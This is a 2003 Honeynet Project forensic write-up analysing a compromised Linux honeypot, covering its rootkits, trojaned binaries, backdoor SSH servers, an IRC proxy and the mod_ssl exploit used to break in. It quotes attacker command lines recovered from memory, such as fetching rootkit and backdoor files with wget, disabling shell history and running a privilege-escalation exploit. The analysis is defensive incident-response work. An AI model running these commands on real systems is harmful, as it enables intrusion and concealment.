Created: 29/09/2003 01:26

Honeynet.org Scan of the Month 29.

Analysis by German Martin (german.martin@hp.com)

Question 1:

Describe the process you used to confirm that the live host was compromised while reducing the impact to the running system and minimizing your trust in the system.

Answer:

When starting the Vmware virtual machine, first thing that sounded suspicious was the couple of messages about the network interface put in promiscuous mode sent to the console.

If an attacker sets the promiscuous mode for sniffing, it usually tries to hide this fact by modifying the ‘ifconfig’ command, so I decided to take these initial actions:

1. Create a CD-ROM containing all the linux tools & commands I could probably use, compiled in static mode. That included, among many others, ls, find, netstat, strings, dd, bash, lsof, md5sum,cat, vi, strace, ifconfig and nc.

2. Mount the cd, with the command:

mount /dev/cdrom /mnt/cdrom

Fortunately, both the device file and mount directory existed, and so my cd was mounted successfully.

3. Check the ifconfig binary, using my trusted static md5sum command:

/mnt/cdrom/md5sum /sbin/ifconfig

bbdf9f3d6ed21c03b594adcd936c2961 /sbin/ifconfig

which differs from the checksum provided:

e984302652a0c59469a0d8826ae3cdeb /sbin/ifconfig

and proves that the system has indeed been compromised. Note that the opposite is not true: if the checksum had resulted in the same value, it does not imply that the ifconfig binary was not modified. I was using a trusted ‘md5sum’ binary, but the system kernel could have been modify to return fake information.

Question 2:

Explain the impact that your actions had on the running system.

Answer:

My initial commands modified the running system in the following ways:

1. The mounting of the cdrom modified the /etc/mtab. Also, if there were files under /mtn/cdrom, they would have been hidden.

2. Checking MD5 checksum of /sbin/ifconfig modifies the access time of the file. To prevent losing this information, a previous ‘/mnt/cdrom/stat’ or ‘/mnt/cdrom/ls’ command could have been performed on it.

Obviously, the advantage of having a permanent ‘snapshot’ in Vmware is that I could have run a complete ‘md5sum’ of the complete file system, and restore the initial snapshot when finished, but that is something impossible to do in a real running system.

Even that, without breaking the rule of not restoring the snapshot, we can take advantage of Vmware and do the initial checking in a more clean way, doing this:

1. Create another Vmware instance, with a clean Linux RedHat 7.2.

2. Add the ‘linux.vmdk’ (the file containing the Vmware virtual disk) from the sotm as a SECOND disk, mounting it read-only.

3. Check all the files you want with the clean md5sum command.

That way, nothing would be modified in the system provided, as we had not even run it. Anyway, it seemed a kind of ‘cheating’ as the purpose of the challenge was to analyze a running system.

Question 3:

List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).

Answer:

The following PIDs were found suspicious:

PID	Program name	Port(s)	Status
3137	‘smbd –D’	TCP 80 TCP 2003	LISTEN LISTEN
15119	initd	TCP 65336 TCP 65436 TCP 65336 TCP 1149 TCP 1146	LISTEN LISTEN Connected to 213.154.118.200 Connected to 64.62.96.42 Connected to 199.184.165.133
25241	xopen	TCP 3128	LISTEN
25239	xopen	UDP 3049	LISTEN

Port 80 is, obviously, a normal port in a default Red Hat 7.2. What is not normal is having a program posing as a Samba daemon (note that the program is NOT smbd with option –D, but a binary called ‘smbd –D’) with the http port open.

Description of analysis:

In order to get a list of running processes and connections, we could not trust the commands. Moreover, even if using my trusted statically linked binaries, if a LKM rootkit had been installed, some information could be hidden from us. For example, the adore rootkit (see, among many other references, http://ouah.kernsh.org/reiterlkm.htm) hides some connections by searching for a certain string in the ‘write’ system call if the command is called ‘netstat’.

So, I decided to take the approach of having renamed ‘netstat’ and ‘ps’ commands in my cdrom, called something else.

The output from my renamed netstat command was as follows:

# /mnt/cdrom/n –anp

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN 845/smbd

tcp 0 0 0.0.0.0:79 0.0.0.0:* LISTEN 732/xinetd

tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 3137/smbd -D

tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN 677/identd

tcp 0 0 0.0.0.0:2003 0.0.0.0:* LISTEN 3137/smbd -D

tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 732/xinetd

tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 699/sshd

tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 732/xinetd

tcp 0 0 0.0.0.0:65336 0.0.0.0:* LISTEN 15119/initd

tcp 0 0 0.0.0.0:3128 0.0.0.0:* LISTEN 25241/xopen

tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 759/sendmail: accep

tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 3137/smbd -D

tcp 0 0 0.0.0.0:65436 0.0.0.0:* LISTEN 15119/initd

tcp 0 0 192.168.1.79:65336 213.154.118.200:1188 ESTABLISHED 15119/initd

tcp 0 0 192.168.1.79:1149 64.62.96.42:6667 ESTABLISHED 15119/initd

tcp 0 0 192.168.1.79:1146 199.184.165.133:6667 ESTABLISHED 15119/initd

udp 0 0 192.168.1.79:137 0.0.0.0:* 850/nmbd

udp 0 0 0.0.0.0:137 0.0.0.0:* 850/nmbd

udp 0 0 192.168.1.79:138 0.0.0.0:* 850/nmbd

udp 0 0 0.0.0.0:138 0.0.0.0:* 850/nmbd

udp 0 0 0.0.0.0:3049 0.0.0.0:* 25239/xopen

Active UNIX domain sockets (servers and established)

Proto RefCnt Flags Type State I-Node PID/Program name Path

unix 2 [ ACC ] STREAM LISTENING 943 778/gpm /dev/gpmctl

unix 4 [ ] DGRAM 7984 3247/syslogd /dev/log

unix 2 [ ] DGRAM 15679 732/xinetd

unix 2 [ ] DGRAM 7993 3252/klogd

unix 2 [ ] DGRAM 1078 893/login -- root

unix 2 [ ] DGRAM 990 820/crond

unix 2 [ ] DGRAM 924 759/sendmail: accep

unix 2 [ ] DGRAM 834 677/identd

unix 2 [ ] DGRAM 804 657/apmd

unix 2 [ ] STREAM CONNECTED 417 1/init

Active IPX sockets

Proto Recv-Q Send-Q Local Address Foreign Address State

Which showed the suspicious programs ‘xopen’, ‘initd’, and smbd. Moreover, how it comes that there are TWO smbd daemons running in the system, and one with ports 80 & 2003 listening?

The output from the renamed ‘ps’ command was also interesting:

# /mnt/cdrom/s ax

PID TTY STAT TIME COMMAND

1 ? S 0:05 init

2 ? SW 0:00 [keventd]

3 ? SW 0:00 [kapm-idled]

4 ? SWN 0:00 [ksoftirqd_CPU0]

5 ? SW 0:00 [kswapd]

6 ? SW 0:00 [kreclaimd]

7 ? SW 0:00 [bdflush]

8 ? SW 0:00 [kupdated]

9 ? SW< 0:00 [mdrecoveryd]

17 ? SW 0:04 [kjournald]

92 ? SW 0:00 [khubd]

657 ? S 0:00 /usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-scripts/apmscript

677 ? S 0:00 identd -e -o

685 ? S 0:00 identd -e -o

686 ? S 0:00 identd -e -o

695 ? S 0:00 identd -e -o

696 ? S 0:00 identd -e -o

699 ? S 0:00 /usr/sbin/sshd

732 ? S 0:00 xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid

759 ? S 0:00 sendmail: accepting connections

778 ? S 0:00 gpm -t ps/2 -m /dev/mouse

820 ? S 0:00 crond

845 ? S 0:00 smbd -D

850 ? S 0:00 nmbd -D

893 tty1 S 0:00 login -- root

894 tty2 S 0:00 /sbin/mingetty tty2

895 tty3 S 0:00 /sbin/mingetty tty3

896 tty4 S 0:00 /sbin/mingetty tty4

899 tty5 S 0:00 /sbin/mingetty tty5

900 tty6 S 0:00 /sbin/mingetty tty6

901 tty1 S 0:00 -bash

3137 ? S 0:03 smbd -D

3153 ? S 0:00 (swapd)

3247 ? S 0:00 syslogd -m 0

3252 ? S 0:00 klogd -2

25239 ? S 0:00 /lib/.x/s/xopen -q -p 3128

25241 ? S 0:00 /lib/.x/s/xopen -q -p 3128

25247 ? S 0:00 /lib/.x/s/lsn

15119 ? S 0:00 initd

16215 pts/1 R 0:00 ps -ax

It showed the already suspicious processes initd (15119), xopen (25239 & 25241) and smbd –D (3137). Also the (swapd) process (3153) and lsn (25247) were suspicious.

Just for checking, I decided to make an script that would do the following actions:

1. Try to enter directory /proc/<num>, being <num> 1 to 99.999.

2. If that directory exists, gather all the information from the process:

i. Command line, from /proc/<num>/cmdline

ii. Current working directory, from /proc/<num>/cwd

iii. Environment, from /proc/<num>/environ

iv. Files, opened, entering /proc/<num>/fd and doing an ‘ls’.

v. Summary of status, from /proc/<num>/status

The script is available here. The output obtained is also available here.

It showed no new processes, but confirmed the processes with open sockets and also give a lot of extra information. For example, the process 3137 is not ‘smbd’ with option –D, but a binary called ‘smbd –D’ (that is, smbd space –D), posing as a normal samba daemon under /usr/bin.

Also, some processes still had some deleted files open already deleted files, that meaning I could use them to recover these files. For example, process 3137 had the httpd error log file /var/log/httpd/error_log opened, so I could recover it doing:

/mnt/cdrom/cat /proc/3137/fd/15 | /mnt/cdrom/nc 192.168.1.80 7777

being 192.168.1.80 my own system, where I had a netcat listening as:

nc –l 7777 > /recovered/var/log/httpd/error_log.

That way, I was able to recover several log files, as /var/log/messages, httpd error logs and smbd error logs.

None of the running processes had its binary deleted. Had this been the case, I could have recovered it using the /proc/<num>/exe link.

Anyway, using the netcat method, I transferred all the running binaries to my system for later analysis. At that time, I had already copied the whole file system with dd & netcat, but copied them again just for being in the safe side, in case of the file system image being somehow corrupted or not in a stable state.

Just for checking, I decided to run nmap command against the running vmware. This is probably something you should not do in a real system, as it could trigger a lot of actions in the analyzed system. But, remember, we are here for fun…

Nmap showed no new info:

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )

Interesting ports on (192.168.1.79):

(The 65523 ports scanned but not shown below are in state: closed)

Port State Service

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

79/tcp open finger

80/tcp open http

113/tcp open auth

139/tcp open netbios-ssn

443/tcp open https

2003/tcp open cfingerd

3128/tcp open squid-http

65336/tcp open unknown

65436/tcp open unknown

Question 4:

Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for?

Answer:

There were just three active connections, as seen in question 3:

PID	Program name	Port(s)	Status
15119	/etc/opt/psybnc/initd	TCP 65336 TCP 1149 TCP 1146	Connected to 213.154.118.200:1188 Connected to 64.62.96.42:6667 Connected to 199.184.165.133:6667

/etc/opt/psybnc/initd turned out to be ‘psybnc’ package (See http://www.netknowledgebase.com/tutorials/psybnc.html for details). The connections are IRC proxied connections, so the real user IP address is hidden.

Client is 213.154.118.220 (sanido-08.is.pcnet.ro). From there, the attacker is connected through psybnc to two IRC servers: mesa.az.us.undernet.org (64.62.96.42) and fairfax.va.us.undernet.org (199.184.165.133).

Connections are active, and there have been IRC activity, as I could recover several IRC conversations from memory. See here.

Description of analysis:

For analyzing the file system, I decided to take a complete image of the memory, disk and swap, using netcat, as the very first action after question 1:

1. /mnt/cdrom/dd if=/dev/mem bs=4096 | /mnt/cdrom/nc 192.168.1.80 5555

2. /mnt/cdrom/dd if=/dev/swap bs=4096 | /mnt/cdrom/nc 192.168.1.80 6666

3. /mnt/cdrom/dd if=/dev/hda1 bs=4096 | /mnt/cdrom/nc 192.168.1.80 7777

while, at the same time, running these commands in my system:

1. nc –l 5555 > /recovered/memory

2. nc –l 6666 > /recovered/swap

3. nc –l 7777 > /recovered/disk

I could then use the /recovered/disk for offline analysis, using autopsy or mounting it read-only.

Investigating the /etc/opt/psybnc directory, I found a lot of files. Under /etc/opt, there is the file /etc/opt/psyBNC2.3.1.tar.gz. This file contains the psyBNC 2.3.1 package.

Searched for psyBNC in google and found that is an IRC proxy that allows anonymization.

psyBNC was downloaded & installed by our hacker at Aug 10 15:57, considering MAC times of file psyBNC2.3.1.tar.gz.

Also, I recovered portions of the commands executed by the attacker from system memory (available here). Among them, the following lines explained what happened:

cd /etc/opt

ls -a

wget www.psychoid.lam3rz.de/psyBNC2.3.1.tar.gz

tar -xzvf psyBNC2.3.1.tar.gz

cd psybnc

ls -a

make menuconfig

make menuconfig-curses

ls -a

vi psybnc.conf

[3~65336

PSYBNC.SYSTEM.PORT1=65336

PSYBNC.SYSTEM.HOST1=*

[3~80

-100

OBPSYBNC.SYSTEM.PORT2=-100

PSYBNC.SYSTEM.HOST2=*

[3~2

rm -rf /var/spool/mail/root

make

ls -a

vi salt.h

ls -a

rm -rf salt.h

mv psybnc initd

PATH=:PATH

initd

That is, he downloaded the psyBNC version 2.3.1 package from www.psychoid.lam3rz.de. Unpackaged it, compile it (see make commands), and edited the configuration file psybnc.conf. After that, moved the main binary to ‘initd’ and started it.

From the psybnc.conf file, we can obtain quite interesting information:

Extracted files from package above. The configuration file 'psybnc.conf' shows several entries, among them:

PSYBNC.SYSTEM.PORT1=65336

PSYBNC.SYSTEM.PORT2=-100

USER1.USER.LOGIN=sic

USER1.USER.NICK=[[[kgb]]]

USER1.SERVERS.SERVER1=mesa.az.us.undernet.org

USER1.SERVERS.PORT1=6667

USER1.CHANNELS.ENTRY1=#radioactiv

USER1.CHANNELS.ENTRY0=#RedCode

USER2.USER.LOGIN=redcode

USER2.USER.NICK=redcode

USER2.SERVERS.SERVER1=mesa.az.us.undernet.org

USER2.SERVERS.PORT1=6667

USER2.CHANNELS.ENTRY1=#AiaBuni

USER2.CHANNELS.ENTRY0=#RedCode

So, psyBNC was configured to talk to server mesa.az.us.undernet.org, with nick '[[[kgb]]]', and into channels #radioactiv & #RedCode, if using user 'sic'.

And with user and nick 'redcode', into channels #AiaBuni & #RedCode.

The system uses ports 65336 & 65436 for incoming connections, and standard 6667 IRC port for outgoing ones.

Also, searching for strings “kgb”, “redcode” and “undernet.org” in the copied system memory, I could recover several parts of IRC conversations.

Question 5:

How many instances of an SSH server were installed and at what times?

Answer:

The following SSH server instances were found in the system:

Command	Configuration file(s)	Installed
/usr/bin/smbd –D	/usr/include/iceconf.h (sshd config file. Listen in port 2003) /usr/include/iceseed.h (random seed) /usr/include/icekey.h (host private key) /usr/include/icepid.h (PID file)	Installed at Aug 10 2003 13:33., downloaded with wget from geocities.com/mybabywhy/rk.tar.gz., and installed with script ‘install’.
/lib/.x/s/xopen	/lib/.x/s/sshd_config (sshd config file. Listen in port 3128) /lib/.x/s/s_h_k (host private key)	Installed at Aug 10 2003 15:32, according to timestamps.
/usr/lib/sp0	/usr/lib/sp0_cfg (sshd configuration file. Listen in port 345). /usr/lib/sp0_key (host private key). /usr/lib/sp0_seed (random seed). /var/run/sshd.pid (pid file)	Installed at Aug 10 2003 15:30, downloaded from izolam.net through this installation script.
/usr/sbin/sshd	Standard RedHat 7.2 ssh daemon. /var/lib/random-seed /var/run/sshd.pid	Installed at system installation. According to the timeline, that happened at Aug 6 2003.

Description of analysis:

In order to determine the SSH servers installed, I analyzed all the different/added files in the offline file system, by generating a new MD5 checksum for all the files and generating a diff file (see Forensics Analysis of all files found).

Of all the files, only three were executables that contained what looked as an SSH server (using strings). Those were /usr/bin/smbd –D, /lib/.x/s/xopen & /usr/lib/sp0, apart from the standard /usr/sbin/sshd, that was still there.

a) The origin of the first one, was found when the following history commands were found in memory:

wget geocities.com/mybabywhy/rk.tar.gz

tar -zxvf rk.tar.gz

cd sand

./install

I downloaded the rk.tar.gz package, to discover that it was the sucKIT rootkit. The install script copied & run the ‘crontabs’ binary, that in turns run ‘smbd –D’. The autopsy timeline confirms the time:

Sun Aug 10 2003 13:33:33

672527 ..c -/-rwxr-xr-x 0 0 92030 /usr/bin/smbd -D

b) The xopen file was created at Aug 10 15:32, according to the timeline.

c) The sp0 server was installed at Aug 10 15:30, according to the timeline:

 Sun Aug 10 2003 15:30:54

532 ..c -/-rw-r--r-- 48 48 47161 /usr/lib/sp0_key

248 .a. -/-rw-r--r-- 0 0 18208 /usr/include/asm/cache.h

1016 mac -/-rw-r--r-- 0 0 47171 /usr/lib/cleaner.o

3 .a. l/lrwxrwxrwx 0 0 62616 /usr/bin/cc -> gcc

14 .a. l/lrwxrwxrwx 0 0 46283 /boot/kernel.h -> kernel.h-2.4.7

2359 .a. -/-rw-r--r-- 0 0 18269 /usr/include/asm/posix_types.h

5725 .a. -/-rw-r--r-- 0 0 77510 /usr/include/linux/spinlock.h

4267 .a. -/-rw-r--r-- 0 0 77455 /usr/include/linux/rhconfig.h

208 .a. -/-rw-r--r-- 0 0 18260 /usr/include/asm/page_offset.h

3284 .a. -/-rw-r--r-- 0 0 18259 /usr/include/asm/page.h

9 m.c l/lrwxrwxrwx 0 0 47172 /root/.bash_history -> /dev/null

13375 .a. -/-rw-r--r-- 0 0 18270 /usr/include/asm/processor.h

10423 .a. -/-rw-r--r-- 0 0 77361 /usr/include/linux/module.h

1242 .a. -/-rw-r--r-- 0 0 77429 /usr/include/linux/posix_types.h

5636 ..c -/-rw-r--r-- 0 0 47169 /usr/lib/adore.o

422 .a. -/-rw-r--r-- 0 0 77528 /usr/include/linux/threads.h

152 .a. -/-rw-r--r-- 0 0 18276 /usr/include/asm/segment.h

513 ..c -/-rw-r--r-- 48 48 47164 /usr/lib/sp0_seed

621 ..c -/-rw-r--r-- 48 48 47166 /usr/lib/sp0_cfg

230163 ..c -/-rwx------ 48 48 47165 /usr/lib/sp0

That was made with the script redcode_rootkit_install, at the following lines:

wget izolam.net/rc/ssh/sp0 -q

wget izolam.net/rc/ssh/sp0_cfg -q

wget izolam.net/rc/ssh/sp0_key -q

wget izolam.net/rc/ssh/sp0_seed –q

Question 6:

Which instances of the SSH servers from question 5 were run?

Answer:

The following SSH servers were run:

Command	Configuration file(s)	Run
/usr/bin/smbd –D	/usr/include/iceconf.h (sshd config file. Listen in port 2003) /usr/include/iceseed.h (random seed) /usr/include/icekey.h (host private key) /usr/include/icepid.h (PID file)	Running as pid 3137
/lib/.x/s/xopen	/lib/.x/s/sshd_config (sshd config file. Listen in port 3128) /lib/.x/s/s_h_k (host private key)	Running as pid 25241 & 25239 (latest is not running as a SSH server).
/usr/sbin/sshd	Standard RedHat 7.2 ssh daemon. /var/lib/random-seed /var/run/sshd.pid	Running as pid 699, at system boot up at Aug 9 14:34.

Description of analysis:

 Obviously, the servers that currenly have a PID associated were run at least once.

a) smbd –D was started through script ‘install’ from sk.tar.gz at Aug 10 15:54:

Sun Aug 10 2003 15:54:18 539 .a. -/-rw------- 0 0 91850 /usr/include/icekey.h

692 .a. -/-rw-r--r-- 0 0 92015 /usr/include/iceconf.h

13707 .a. -/-r-x------ 0 0 92028 /usr/bin/crontabs

512 .a. -/-rw------- 0 0 92007 /usr/include/iceseed.h

16452 .a. -/-rwxr-xr-x 0 0 47174 /root/sslstop/sslstop

672527 .a. -/-rwxr-xr-x 0 0 92030 /usr/bin/smbd –D

b) xopen was run by script /lib/.x/s/.boot.

c) standard sshd was started at system boot, checking /var/run/sshd.pid contents & MAC times.

d) The only instance left, /usr/lib/sp0, it was installed, but never run. Reasoning is as follows: it uses the file /var/run/sshd.pid for keeping its PID. (seeing through debugging). As the file has not changed since standard sshd started, sp0 has never started.

Question 7:

Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected?

Answer:

The /lib/.x/s/xopen instance serves a double purpose.

One process is a ‘standard’ Trojan sshd daemon, with a special password integrated in the binary, allowing access to the hacker.

The other is a TTY sniffer, sniffing all tty input in the system and sending them through UDP to a spy client, if the correct UDP packet is received. Unfortunately, it didn’t collect any information for two reasons: first, there was no tty activity at all and, second, it is based in the SucKIT rootkit kernel module, that failed to be installed correctly.

Description of analysis:

 This was analyzed through disassembling the files with my –still under development, and not public- FIFA tool (see sample report here) and analyze the output.

Also, the log files for the installation of SucKIT shows that the LKM failed continuously:

From /lib/.x/install.log:

#####################################################

# SucKIT version 1.3b by Unseen <unseen@broken.org> #

#####################################################

RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]

…And many similar lines…

In /lib/.x/hide.log, same problem:

#####################################################

# SucKIT version 1.3b by Unseen <unseen@broken.org> #

#####################################################

RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]

Question 8:

Which system executables (if any) were trojaned and what configuration files did they use?

Answer:

Several system files were modified by the attack. All of them were found by comparing the md5 list of all the files given with one generated from the image disk mounted offline. The diff file generated this way is available here .

A summary of what I found is showed here:

System executables troyaned

File name: 1. /bin/netstat 2. /bin/ps 3. /bin/ls 4. /bin/pico 5. /sbin/ifconfig 6. /usr/bin/top

Configuration file used: 1. /dev/ttyoa, contain addreses to hide. 2. /dev/ttyop, contain processes to hide. 3. /dev/ttyof, contain files to hide. 4. None. It appears to be a standard ‘pico’editor. 5. None. It hides the ‘PROMISC’ status of the interface. 6. /etc/psdevtab, contains tty’s to hide.

All of them were inside the package rk.tar.gz, downloaded & installed by the attacker at Aug 10 13:33. The original system files were moved to /usr/lib/libshift. All these actions were performed by the recovered installation script /tmp/sand/install.

The configuration file used in each case was found by using ‘strings’ & ‘strace’ commands.

	System configuration files modified
	/etc/rc.d/init.d/functions, a line was added to start the ‘usr/bin/crontabs -t1 -X53 –p’ command at system start. /etc/rc.d/rc.sysinit, was modified to load kernel modules regardless of system configuration. /etc/httpd/conf/httpd.conf, was modified to listen SSL connections in port 114 instead of default 443, through the use of the sslstop & sslport binaries.

	Other system files modified since initial MD5 provided
	· /.bash_history · /root/.bash_history · /var/lib/slocate/slocate.db · /var/lib/random-seed · /var/log/wtmp · /var/log/secure · /var/log/maillog · /var/log/cron · /var/log/boot.log · /var/cache/man/whatis · /var/cache/samba/smbd.pid · /var/cache/samba/connections.tdb · /var/lock/subsys/netfs · /var/lock/subsys/identd · /var/lock/subsys/xinetd · /var/lock/subsys/smb · /var/lock/subsys/atd · /var/run/utmp · /var/run/runlevel.dir · /var/run/syslogd.pid · /var/run/klogd.pid · /var/run/apmd.pid · /var/run/identd.pid · /var/run/sshd.pid · /var/run/xinetd.pid · /var/run/sendmail.pid · /var/run/gpm.pid · /var/run/crond.pid · /var/run/atd.pid · /var/run/httpd.mm.14637.sem · /var/run/httpd.mm.14671.sem · /var/spool/mail/root · /var/spool/anacron/cron.daily · /var/spool/anacron/cron.weekly · /etc/mtab · /etc/mail/statistics · /etc/aliases.db · /etc/adjtime · /etc/samba/secrets.tdb

The vast majority of them are modified in a ‘normal’ start-up of the system after all the MD5 checksums were taken, but some were the consequence of direct hacker action. Aditionally, a lot of files were created in the attack. For a complete description of all the files found, see Forensics Analysis of all files found.

Question 9:

How and from where was the system likely compromised?

Answer:

The system was hacked at 10 Aug 2003 13:24, from address 213.154.118.219 (extreme-service-11.is.pcnet.ro), using the apache mod-ssl vulnerability (see CIAC Advisory M-125, Red Hat Security Advisory RHSA-2002:155-11, CERT Advisory CA-2002-27 Apache/mod_ssl Worm, or “CERT® Advisory CA-2002-23 Multiple Vulnerabilities In OpenSSL.”.

Description of analysis:

 Analysis of the timeline obtained with autopsy showed the first non-standard system file at Aug 10 2003 13:33:19 (/usr/bin/sl2). At 13:32 several files appear deleted:

Sun Aug 10 2003 13:30:00 0 .a. -rw-r--r-- 0 0 77647 <honeypot.dsk-dead-77647>

26780 .a. -/-rwxr-xr-x 0 0 45661 /bin/date

Sun Aug 10 2003 13:32:38 0 .a. -rw------- 48 0 3187 <honeypot.dsk-dead-3187>

0 .a. -rw------- 48 0 45309 <honeypot.dsk-alive-45309>

Sun Aug 10 2003 13:33:19 32756 .a. -/-rwxr-xr-x 0 0 92011 /bin/ps

48856 .a. -/-rwxr-xr-x 0 0 92017 /usr/bin/top

4060 .a. -/-rwxr-xr-x 0 0 92009 /usr/bin/sense

36692 .a. -/-rwxr-xr-x 0 0 92022 /bin/ls

8268 .a. -/-rwx------ 0 0 92010 /usr/bin/sl2

2 .a. -/-rw-r--r-- 0 0 92023 /usr/lib/libsss

98 .a. -/-rwx------ 0 0 92006 /usr/bin/logclear

Sun Aug 10 2003 13:33:31 11612 .a. -/-rwxr-xr-x 0 0 45666 /bin/sleep

Sun Aug 10 2003 13:33:32 5712 .a. -/-rwxr-xr-x 0 0 45829 /sbin/minilogd

19748 .a. -/-rwxr-xr-x 0 0 45819 /bin/usleep

Sun Aug 10 2003 13:33:33 78892 ..c -/-rwxr-xr-x 0 0 62620 /usr/bin/i386-redhat-linux-gcc

After that, LOTS of files under /usr/bin & /bin appear as created, accessed or modified (it was later determined that one of the rootkits installation scripts messed around with the MAC times of the files). So it was clear that the attack took place more or less at that time.

In question 3, I recovered several log files that had been deleted. In /var/log/httpd/access_log, the following information was found:

213.154.118.219 - - [10/Aug/2003:13:16:27 -0700] "GET / HTTP/1.1" 400 385 "-" "-"

213.154.118.219 - - [10/Aug/2003:13:16:37 -0700] "GET / HTTP/1.1" 400 385 "-" "-"

213.154.118.219 - - [10/Aug/2003:13:23:17 -0700] "GET /sumthin HTTP/1.0" 404 279 "-" "-"

This shows three connections to the system web server, last one looking for un unknown file.

In the recovered /var/log/httpd/ssl_engine_log, this entries are found:

[10/Aug/2003 13:24:29 02937] [error] SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)

[10/Aug/2003 13:24:29 02937] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different

[10/Aug/2003 13:32:38 03024] [error] SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)

[10/Aug/2003 13:32:38 03024] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different

[10/Aug/2003 13:40:28 03272] [error] Child could not open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.800 (System error follows)

[10/Aug/2003 13:40:28 03272] [error] System: No such file or directory (errno: 2)

[10/Aug/2003 13:40:29 03273] [error] Child could not open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.800 (System error follows)

[10/Aug/2003 13:40:29 03273] [error] System: No such file or directory (errno: 2)

and thousands of lines like the last four, with the SSLMutex error.

This matches the description of the mod_ssl attack found in CIAC Advisory M-125:
 
“Reports received by the CERT/CC indicate that Apache systems may subsequently log 
messages similar to the following: 
 
[error] SSL handshake failed: HTTP spoken on HTTPS port; trying to send HTML error page 
(OpenSSL library error follows)
[error] OpenSSL: error:1407609C:SSL routines:SSL23_GET_CLIENT_HELLO:http request [Hint: 
speaking HTTP to HTTPS port!?]
 
Compromise by the Apache/mod_ssl worm indicates that a remote attacker can execute arbitrary code as the apache user on the victim system. It may be possible for an attacker to subsequently leverage a local privilege escalation exploit in order to gain root access to the victim system”.

As an added evidence, I found in memory the string “wget irinel1979.go.ro/mass2.tgz”. I downloaded this file, and determined it was a massive scanner of web servers looking for the mod_ssl vulnerability, with the openssl-too-open : OpenSSL remote exploit by Solar Eclipse (solareclipse@phreedom.org) included.

See “Analysis of the ATD OpenSSL Mass Exploiter” by LURHQ Threat Research Group for a detailed explanation of it.

For privilege escalation to root, attacker used the binary /dev/shm/k, an exploit of the ‘ptrace’ vulnerability.

Some strings recovered from memory shows this:

ps aux | grep apache

kill -9 21510 21511 23289 23292 23302

chmod 777 /dev/shm/k

/dev/shm/k

Confirming the hypothesis.

Bonus Question:

What nationality do you believe the attacker(s) to be, and why?

Answer:

I would bet… er… ten dollars…that the attacker is Romanian.

There are several circunstancial evidences in favor of this theory:

1. The initial attack came from a system in Romania (extreme-service-11.is.pcnet.ro).

2. The attacker connected to the psyBNC IRC proxy from Romania (sanido-08.is.pcnet.ro).

3. At least one of the rootkit installation scripts (.boot) is in Romanian.

4. There are several sentences in Romanian in the recovered IRC sessions.

APENDIXES

· Script for gathering processs information from /proc.

· Information gathered from /proc.

· IRC activity found in memory.

· Fragments of command history recovered from memory.

· Differences in MD5 checksums.

· Complete analysis of all changed or added files.